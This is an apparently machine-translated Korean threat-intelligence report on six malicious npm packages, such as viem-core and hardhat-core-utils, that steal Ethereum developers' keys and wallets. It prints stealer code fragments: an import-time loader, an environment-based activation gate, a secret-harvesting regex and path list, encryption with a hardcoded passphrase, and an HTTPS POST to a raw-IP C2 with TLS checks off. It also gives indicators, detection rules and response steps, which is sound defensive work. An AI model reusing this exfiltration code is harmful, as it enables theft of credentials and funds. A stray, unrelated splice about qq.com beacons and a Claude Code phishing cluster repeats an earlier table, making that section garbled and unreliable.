TL; DR
2026년 5월 6일, 한 명의 npm 게시자가, namikazesarada010206이들은 이더리움, 솔리디티 및 DeFi 개발자 생태계를 대상으로 하는 6개의 악성 패키지를 배포했습니다.
패키지, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils예산 및 web3-utils-core인기 있는 Web3 툴링용 헬퍼 라이브러리처럼 보이도록 그럴듯한 이름을 사용했습니다.
여섯 개의 패키지 모두 동일한 내용물을 포함하고 있었습니다. telemetry.js 해당 파일은 클러스터 전체에서 바이트 단위로 동일했으며, SHA-256 해시값을 사용했습니다.
해당 악성 프로그램은 설치 시 실행되지 않습니다. 실행되지 않습니다. preinstall or postinstall 후크가 아닙니다. 대신, 패키지가 임포트될 때 활성화됩니다. require().
그 세부 사항이 중요합니다.
이 악성 프로그램은 개발자가 실제로 패키지를 사용할 때까지 기다립니다. 그런 다음 워크스테이션이 실제 이더리움/솔리디티 개발 환경처럼 보이는지 확인합니다. 알케미 또는 인푸라 키, 개인 키, 니모닉, 배포자 키 또는 로컬 파운드리 디렉터리가 있는지 확인합니다.
호스트가 일치하면 공격자는 SSH 개인 키, Foundry/Geth/Brownie 지갑 키 저장소를 수집합니다. .env* 파일 및 민감한 환경 변수를 포함합니다. 하드코딩된 암호를 사용하여 AES-256-GCM으로 묶음을 암호화한 후 TLS 검증이 비활성화된 원시 IPv4 C2 엔드포인트로 유출합니다.
Xygeni의 악성코드 조기경보(MEW) 시스템은 해당 패키지 6개 모두를 악성으로 확인했습니다. npm 레지스트리 삭제 보고서 번들은 현재 처리 중입니다.
클러스터: 6개의 패키지, 하나의 출판사
출판사 계정 namikazesarada010206 인증되지 않은 Gmail 주소와 연결되어 있었습니다. namikazesarada010206@gmail.com.
해당 캠페인은 2026년 5월 6일 단 하루 동안 집중적으로 홍보되었습니다. 6가지 패키지 모두 다음과 같은 버전으로 제공되었습니다. 1.0.0런타임 종속성이 전혀 없었고, 단 세 개의 파일만 배포되었습니다.
package.json index.js telemetry.js 그들은 또한 동일한 소스 저장소를 선언했습니다.
https://github.com/harunosakura030303-maker/evmchain-config 처음 세 개의 패키지는 최초 게시 시 MEW 스캐너에 의해 감지되었습니다. 나머지 세 개는 게시자의 npm 프로필을 분석가가 검토한 후 강제로 플래그가 지정되었습니다. 동일한 바이트를 가진 패키지는 telemetry.js 클러스터 전체에서 확인되었으며, 일관성을 바탕으로 악성으로 간주되어 차단되었습니다.
| 묶음 | 버전 | npm 게시됨 | MEW 티켓 | 평결 |
|---|---|---|---|---|
| 비엠-코어 | 1.0.0 | 2026-05-06 01:38:44Z | #51049 | 악의있는 |
| viem-utils-core | 1.0.0 | 2026-05-06 | #51050 | 악의있는 |
| 하드햇 코어 유틸리티 | 1.0.0 | 2026-05-06 | #51051 | 악의있는 |
| evm-utils | 1.0.0 | 2026-05-06 | #51069 | 일관성으로 인해 악의적이다. |
| 파운드리 유틸리티 | 1.0.0 | 2026-05-06 | #51071 | 일관성으로 인해 악의적이다. |
| 웹3-유틸리티-코어 | 1.0.0 | 2026-05-06 | #51070 | 일관성으로 인해 악의적이다. |
명명 전략은 단순하지만 효과적입니다.
이 패키지들은 상위 프로젝트의 정확한 이름을 사칭하지 않습니다. 대신, 다음과 같은 그럴듯한 "유틸리티" 접미사를 사용합니다. -core, -utils예산 및 -utils-core그 결과, 이 라이브러리들은 개발자가 웹3 툴 근처에서 볼 수 있을 거라고 예상하는 보조 라이브러리처럼 보이게 됩니다.
| 악성 패키지 | 정당한 목표 |
|---|---|
| 비엠-코어 | viem은 인기 있는 이더리움 타입스크립트 클라이언트입니다. |
| viem-utils-core | 비엠 |
| 하드햇 코어 유틸리티 | hardhat은 주류 Solidity 개발 환경입니다. |
| evm-utils | 범용 EVM 툴링 네임스페이스 |
| 파운드리 유틸리티 | 파운드리(Foundry), 솔리디티 툴체인 |
| 웹3-유틸리티-코어 | web3-utils, Web3.js 헬퍼 |
이것이 바로 "보조 패키지" 패턴입니다. 즉, "내가 진짜 패키지다"라는 것이 아니라, "나는 진짜 패키지를 도와주는 적절한 조력자처럼 보인다"라는 것입니다.
빠르게 움직이는 DeFi 개발자들에게는 그것만으로도 충분히 위험을 초래할 수 있습니다.
패키지가 수입될 때 어떤 일이 발생하나요?
이 공격은 규모가 작고, 의도적이며, 암호화 개발 환경에 집중되어 있습니다.
설치 후크는 없습니다. 대신 각 패키지에는 다음이 포함됩니다. index.js 이는 스텁 기능을 내보낸 다음 악성 원격 측정 모듈을 로드합니다.
require('./telemetry').init(); 이는 악성코드가 최초 가져오기 시 활성화된다는 의미입니다.
이는 공격자에게 실질적으로 유용합니다. 많은 스캐너와 샌드박스는 설치 시 동작에 초점을 맞추지만, 이 패키지는 개발자, 빌드 스크립트, 테스트 스위트 또는 런타임 경로에서 실제로 사용될 때까지 기다립니다.
활성화 게이트: 실제 Web3 개발자 워크스테이션에서만 작동
임플란트에서 가장 중요한 부분은 활성화 게이트입니다.
해당 악성코드는 이더리움/솔리디티 개발자 컴퓨터에서 흔히 발견되는 환경 변수를 검사합니다.
const indicators = [ process.env.ALCHEMY_API_KEY, process.env.INFURA_KEY, process.env.PRIVATE_KEY, process.env.MNEMONIC, process.env.DEPLOYER_KEY, ].filter(Boolean); 또한 Foundry가 설치되어 있는지 여부도 확인합니다.
fs.existsSync(path.join(os.homedir(), '.foundry')) 두 조건 중 어느 것도 참이 아니면 함수는 아무 작업도 수행하지 않고 반환됩니다.
이렇게 하면 일반적인 분석 환경에서 패키지가 더 조용하게 실행됩니다. Foundry, Alchemy 키, Infura 키, 개인 키 또는 니모닉이 없는 샌드박스에서는 가져오기 과정이 무해해 보일 수 있습니다.
일치하는 호스트에서 악성 프로그램은 데이터를 수집하기 전에 60~90초 동안 기다립니다.
setTimeout(() => { try { _collect(); } catch {} }, 60000 + Math.random() * 30000).unref(); 지연으로 인해 수입과 유출 사이의 명확한 상관관계가 약해집니다. .unref() 또한 이 호출을 통해 패키지가 실행 시간이 짧은 스크립트에서 가져온 경우 호스트 프로세스가 정상적으로 종료될 수 있습니다.
이는 무차별적인 공격 행위가 아닙니다. 개발자 환경을 훔칠 가치가 있는 경우에만 실행되도록 설계된 표적형 스틸러입니다.
도둑이 수집하는 것
활성화 단계를 통과하면 악성 프로그램은 Web3 개발에서 가장 중요한 소스, 즉 개인 키, 지갑 키 저장소, 배포 자격 증명, 클라우드 비밀 키, npm 토큰 및 로컬 프로젝트 구성에서 정보를 수집합니다.
| 출처 | 수집되는 내용 |
|---|---|
| 프로세스.env | /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i 와 일치하는 모든 변수 |
| ~/.ssh/* | PRIVATE KEY 또는 BEGIN OPENSSH가 포함된 파일(전체 파일 내용 포함) |
| ~/.foundry/keystores/* | 파운드리 지갑 키스토어 파일 |
| ~/.ethereum/keystore/* | Geth 지갑 키스토어 파일 |
| ~/.brownie/accounts/* | 브라우니 지갑 키스토어 파일 |
| ${cwd}/.env | 전체 파일 내용 |
| ${cwd}/.env.local | 전체 파일 내용 |
| ${cwd}/.env.production | 전체 파일 내용 |
| ${cwd}/.env.development | 전체 파일 내용 |
| os.hostname() | 호스트 메타데이터 |
| crypto.randomUUID() | 피해자/세션 식별자 |
| 날짜.지금() | 수집 타임스탬프 |
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com ATTA 토큰은 다음과 같습니다.
ATTA_ID 00400014144 ATTA_TOKEN 6478159937 해당 원격 측정 데이터가 통신 사업자 자체 분석 데이터인지 아니면 별도로 수익을 창출하는 채널의 데이터인지 확인할 수 없었습니다. 조사한 두 샘플 모두에서 ATTA 토큰은 동일합니다.
클러스터 B: 헤이바이
claude.hk OAuth 피싱 + ANTHROPIC_BASE_URL 하이재킹
4월 1일 샘플은 이번 조사 캠페인의 초기 단계이자 더 원시적인 부분입니다.
heibai:2.1.88-claude.hk-4 에 의해 출판되었다 wuguoqiangvip282025년 6월 7일에 생성된 계정입니다. 해당 패키지는 정식 버전과 비교하여 명시적으로 자체 버전을 관리했습니다. 2.1.88 인간 활동으로 인한 방출.
CA 인증서 MITM 공격에는 신경 쓰지 않습니다. 대신 OAuth 엔드포인트에 대해 사용자에게 거짓 정보를 제공합니다.
유출된 클로드 코드 소스 코드에 추가된 악의적인 내용은 다음과 같습니다.
| 출처 | 수집되는 내용 |
|---|---|
| 프로세스.env | /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i 와 일치하는 모든 변수 |
| ~/.ssh/* | PRIVATE KEY 또는 BEGIN OPENSSH가 포함된 파일(전체 파일 내용 포함) |
| ~/.foundry/keystores/* | 파운드리 지갑 키스토어 파일 |
| ~/.ethereum/keystore/* | Geth 지갑 키스토어 파일 |
| ~/.brownie/accounts/* | 브라우니 지갑 키스토어 파일 |
| ${cwd}/.env | 전체 파일 내용 |
| ${cwd}/.env.local | 전체 파일 내용 |
| ${cwd}/.env.production | 전체 파일 내용 |
| ${cwd}/.env.development | 전체 파일 내용 |
| os.hostname() | 호스트 메타데이터 |
| crypto.randomUUID() | 피해자/세션 식별자 |
| 날짜.지금() | 수집 타임스탬프 |
대상 목록은 매우 구체적입니다. 이는 일반적인 브라우저 정보 탈취나 광범위한 자격 증명 수집이 아닙니다. 이더리움 애플리케이션을 개발, 테스트, 배포 또는 운영하는 개발자를 대상으로 합니다.
Foundry, Geth, Brownie 키스토어를 포함하는 것은 특히 중요합니다. 이러한 파일은 지갑이나 배포 ID에 대한 직접적인 접근 권한을 나타낼 수 있습니다. 공격자가 이러한 파일을 암호, 니모닉 또는 환경 비밀과 결합할 수 있다면 자금을 이동시키거나, 배포자를 사칭하거나, 스마트 계약 운영을 손상시킬 수 있습니다.
데이터 유출 전 암호화
해당 악성 소프트웨어는 수집된 데이터를 전송하기 전에 암호화합니다.
const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv); 하드코딩된 암호는 다음과 같습니다.
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d 최종 페이로드는 JSON 형식으로 래핑됩니다.
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"} 암호화 자체가 악성코드를 더 정교하게 만드는 것은 아닙니다. 하지만 네트워크 검사를 더 어렵게 만듭니다. 송신 트래픽을 감시하는 방어자는 JSON 페이로드는 볼 수 있지만, 탈취된 키, 지갑 파일 등은 볼 수 없습니다. .env 하드코딩된 암호문과 복호화 로직이 없는 콘텐츠입니다.
IPv4 C2 서버로의 데이터 유출
데이터 유출 경로는 하드코딩되어 있습니다.
const req = https.request({ hostname: '76.13.37.80', port: 8443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json', ... }, rejectUnauthorized: false, timeout: 8000, }, () => {}); 악성 소프트웨어는 다음 위치로 데이터를 전송합니다:
https://76.13.37.80:8443/api/v1/telemetry 두 가지 세부 사항이 눈에 띕니다.
첫째, C2는 도메인이 아닌 일반 IPv4 주소입니다. 따라서 도메인 등록이 필요 없으므로 도메인 기반 탐지를 피할 수 있습니다.
둘째, TLS 검증은 다음과 같이 비활성화됩니다.
rejectUnauthorized: false 이를 통해 악성코드는 자체 서명 인증서를 포함한 모든 인증서를 허용할 수 있습니다. 즉, 공격자는 유효한 공개 인증서 없이도 암호화된 전송을 얻을 수 있습니다.
재시도 로직이나 대체 호스트가 없습니다. 오류는 아무런 경고 없이 처리됩니다. 따라서 C2 서버가 오프라인이거나 연결할 수 없는 경우에도 패키지는 오류 없이 안전하게 유지됩니다.
이 캠페인이 중요한 이유
개발자를 대상으로 하는 대부분의 악성 npm 패키지는 npm 토큰, AWS 키, GitHub 토큰 등과 같은 광범위한 자격 증명을 노립니다. .npmrc 파일.
이 캠페인은 목표 대상을 좁힙니다.
이 프로그램은 해당 기기가 이더리움 또는 솔리디티 개발자의 소유인지 여부를 나타내는 단서를 찾습니다. 그런 다음 해당 환경에서 중요한 자산, 즉 지갑 키 저장소, 개인 키, 니모닉, 배포자 키 등을 정확하게 추출합니다. .env 파일 및 SSH 키.
그렇기 때문에 이 캠페인은 일반적인 npm 스틸러보다 Web3 팀에게 훨씬 더 위험합니다.
감염이 성공적으로 발생하면 다음과 같은 증상이 나타날 수 있습니다.
- 배포 지갑
- 스마트 계약 관리자 키
- RPC 공급자 키
- 클라우드 배포 자격 증명
- npm 토큰 발행
- 개발자 또는 빌드 인프라에 대한 SSH 액세스
- 프로젝트 비밀 정보는 다음 위치에 저장됩니다.
.env파일 - Foundry, Geth 또는 Brownie용 지갑 키 저장소
패키지 이름에서도 명백한 소셜 엔지니어링 기법의 흔적을 찾아볼 수 있습니다. 친숙한 도구 이름을 이용해 웹3 개발자 생태계를 노리고 있는 것입니다. viem, hardhat, foundry, evm예산 및 web3.
배우는 실제 프로젝트를 훼손할 필요가 없습니다. 그저 개발자가 그럴듯해 보이는 보조 패키지를 설치해 주기만 하면 됩니다.
침해 및 탐지 지표
| 패키지 및 게시자 | |
|---|---|
| 분야 | 가치관 |
| npm 게시자 | 나미카제사라다010206 |
| 출판사 이메일 | namikazesarada010206@gmail.com |
| 이메일 확인됨 | 아니 |
| SCM 확인 | 아니 |
| 평판 점수 | 1.0 |
| 패키지 | viem-core, viem-utils-core, hardhat-core-utils, evm-utils,foundry-utils, web3-utils-core |
| 버전 | 모든 1.0.0 |
| 소스 저장소 | https://github.com/harunosakura030303-maker/evmchain-config |
| 악성 행위로 확인됨 | 6가지 패키지 모두 |
| 네트워크 | |
|---|---|
| 타입 | 가치관 |
| C2 엔드포인트 | https://76.13.37.80:8443/api/v1/telemetry |
| C2 IP | 76.13.37.80 |
| C2 포트 | 8443/TCP |
| TLS 동작 | 거부됨(권한 없음): 거짓 |
| 페이로드 스키마 | {"v":2,"iv": ,"디": ,"티": } |
| 파일과 해시 | |
|---|---|
| 타입 | 가치관 |
| 텔레메트리.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| 패키지 레이아웃 | package.json, index.js, telemetry.js |
| 파일 개수 | 3 |
| 대략적인 총 크기 | 3.4 KB |
활성화 신호
악성 프로그램은 다음과 같은 환경 변수를 확인합니다.
ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY 또한 다음 사항들을 확인합니다:
~/.foundry/ 대상 호스트 경로
~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development 컬렉션 정규식
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i 탐지 노트
몇 가지 규칙만으로도 본격적인 행동 분석 없이 이 캠페인을 포착할 수 있습니다.
먼저, 잠금 파일에서 악성 패키지 이름 6개를 검색합니다.
viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core 어떤 경기든 package-lock.json, yarn.lock, pnpm-lock.yaml및 node_modules 역사는 심각한 사건으로 다뤄져야 한다.
둘째, 지갑 키 저장소 경로를 읽는 Node.js 프로세스를 모니터링하십시오.
~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/ 이는 헬퍼 종속성으로 가져온 패키지에서 흔히 발생하는 정상적인 동작이 아닙니다. 특히 이러한 동작 이후에 외부 네트워크 활동이 뒤따르는 경우 더욱 의심스럽습니다.
셋째, 다음과 같은 HTTPS 연결을 차단하거나 경고합니다.
76.13.37.80:8443 특히 요청 경로가 다음과 같을 때:
/api/v1/telemetry 넷째, 이러한 특징들을 모두 갖춘 npm 패키지를 찾아보세요.
- 신생 또는 평판이 낮은 출판사
- 인증되지 않은 Gmail 계정
- Web3 관련 패키지 이름
- 의미 있는 저장소 기록이 없습니다.
- 소형 패키지 레이아웃
index.js원격 측정 파일이나 도우미 파일을 로드하는 파일- 런타임 종속성 없음
- 민감한 환경 변수 수집
- 지갑 키스토어 액세스
이 패턴은 단일 IOC보다 더 유용합니다. 왜냐하면 다음 패키지에서 IP 주소는 변경될 수 있지만 타겟팅 로직은 동일하게 유지될 수 있기 때문입니다.
침해 대응 체크리스트
개발자가 6가지 패키지 중 하나를 사용했고 해당 환경이 활성화 기준에 부합하는 경우, 해당 워크스테이션은 손상된 것으로 간주해야 합니다.
여기에는 Foundry가 설치된 시스템, 환경에 Alchemy 또는 Infura 키, 개인 키, 니모닉 또는 배포자 키가 있는 시스템이 포함됩니다.
권장 답변:
- 호스트를 네트워크에서 연결 해제하십시오.
- 보존
node_modules잠금 파일, 셸 기록 및 포렌식에 필요한 관련 로그. - 모든 SSH 키 쌍을 순환시키세요
~/.ssh/. - 모든 키스토어에 대해 지갑 키를 순환시키세요
~/.foundry,~/.ethereum예산 및~/.brownie. - 새로운 지갑으로 자금을 이체하세요.
- 저장된 모든 비밀을 회전시키세요
.env*개발자가 작업했던 저장소의 파일들. - AWS 키, npm 토큰, 배포 토큰, API 키, 개인 키, 시드 및 니모닉을 포함하여 컬렉션 정규식과 일치하는 환경 비밀 키를 순환합니다.
- 패키지가 처음 설치된 이후 클라우드, npm, GitHub, RPC 공급자 및 블록체인 활동을 감사합니다.
- 워크스테이션을 재사용하기 전에 재이미징하십시오.
수비수들이 명심해야 할 점
이 캠페인은 고가치 개발자 생태계를 중심으로 npm 타이포스쿼팅이 어떻게 진화하고 있는지를 보여줍니다.
해당 공격자는 지속성이 필요하지 않았습니다. 난독화도 필요하지 않았습니다. 심지어 설치 시 실행조차 필요하지 않았습니다.
대신 그들은 세 가지에 의존했습니다.
- Web3 패키지 이름 (가능성 있는 예시)
- 실제 암호화 개발 환경에서만 활성화할 수 있습니다.
- 이더리움 개발자들에게 가장 중요한 파일과 비밀 정보를 직접적으로 훔치는 행위
그렇기 때문에 이 캠페인은 광범위한 조사에서는 쉽게 간과될 수 있지만, 적절한 환경에 노출될 경우 매우 위험할 수 있습니다.
Web3 팀에게 주는 교훈은 분명합니다. 종속성 이름을 위협 모델의 일부로 간주해야 합니다. 무해해 보이는 도우미 패키지라도 지갑을 해킹하는 가장 빠른 경로가 될 수 있습니다.
npm 레지스트리에 신고되었습니다. 게시자 계정과 패키지가 삭제되면 이 게시물을 업데이트하겠습니다.




